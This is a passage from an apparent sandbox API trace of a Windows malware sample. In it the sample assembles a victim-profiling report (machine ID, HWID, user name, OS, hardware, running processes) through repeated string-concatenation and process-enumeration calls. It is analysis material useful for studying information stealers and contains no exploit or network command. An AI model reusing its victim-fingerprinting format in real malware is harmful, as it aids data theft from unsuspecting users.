[0054.781] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe ["
[0054.781] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.781] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.781] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da18
[0054.782] GetLastError () returned 0x7a
[0054.782] SetLastError (dwErrCode=0x7a)
[0054.782] GetLastError () returned 0x7a
[0054.782] SetLastError (dwErrCode=0x7a)
[0054.782] GetLastError () returned 0x7a
[0054.782] SetLastError (dwErrCode=0x7a)
[0054.782] GetLastError () returned 0x7a
[0054.782] SetLastError (dwErrCode=0x7a)
[0054.782] GetLastError () returned 0x7a
[0054.782] SetLastError (dwErrCode=0x7a)
[0054.782] GetLastError () returned 0x7a
[0054.782] SetLastError (dwErrCode=0x7a)
[0054.782] GetLastError () returned 0x7a
[0054.782] SetLastError (dwErrCode=0x7a)
[0054.782] GetLastError () returned 0x7a
[0054.782] SetLastError (dwErrCode=0x7a)
[0054.782] GetLastError () returned 0x7a
[0054.782] SetLastError (dwErrCode=0x7a)
[0054.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.782] GetLastError () returned 0x7a
[0054.786] SetLastError (dwErrCode=0x7a)
[0054.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da18 | out: hHeap=0x670000) returned 1
[0054.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da48 | out: hHeap=0x670000) returned 1
[0054.786] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [", lpString2="308" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308"
[0054.786] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n"
[0054.786] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
[0054.787] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- "
[0054.787] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- ", lpString2="csrss.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe"
[0054.787] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe ["
[0054.787] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dae8
[0054.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.788] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9a8
[0054.788] GetLastError () returned 0x7a
[0054.788] SetLastError (dwErrCode=0x7a)
[0054.788] GetLastError () returned 0x7a
[0054.788] SetLastError (dwErrCode=0x7a)
[0054.788] GetLastError () returned 0x7a
[0054.788] SetLastError (dwErrCode=0x7a)
[0054.788] GetLastError () returned 0x7a
[0054.788] SetLastError (dwErrCode=0x7a)
[0054.788] GetLastError () returned 0x7a
[0054.788] SetLastError (dwErrCode=0x7a)
[0054.788] GetLastError () returned 0x7a
[0054.788] SetLastError (dwErrCode=0x7a)
[0054.788] GetLastError () returned 0x7a
[0054.788] SetLastError (dwErrCode=0x7a)
[0054.788] GetLastError () returned 0x7a
[0054.788] SetLastError (dwErrCode=0x7a)
[0054.788] GetLastError () returned 0x7a
[0054.788] SetLastError (dwErrCode=0x7a)
[0054.789] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.789] GetLastError () returned 0x7a
[0054.789] SetLastError (dwErrCode=0x7a)
[0054.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a8 | out: hHeap=0x670000) returned 1
[0054.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dae8 | out: hHeap=0x670000) returned 1
[0054.789] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [", lpString2="380" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380"
[0054.789] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n"
